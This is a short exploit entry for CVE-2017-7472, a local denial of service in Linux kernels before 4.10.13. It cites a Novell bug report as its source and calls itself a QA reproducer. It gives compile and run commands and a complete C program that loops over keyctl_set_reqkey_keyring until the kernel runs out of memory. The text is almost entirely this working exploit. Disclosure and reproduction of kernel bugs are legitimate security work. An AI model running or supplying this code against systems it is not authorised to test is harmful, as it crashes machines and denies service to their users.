Linux Kernel versions prior to 4.10.13 suffer from a keyctl_set_reqkey_keyring local denial of service vulnerability.
eb31ce0a0f03adae308aa72256412f48eb27210c5ccb26b03e8f3b4580d6441b/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472
(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>
int main()
{
for (;;)
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}
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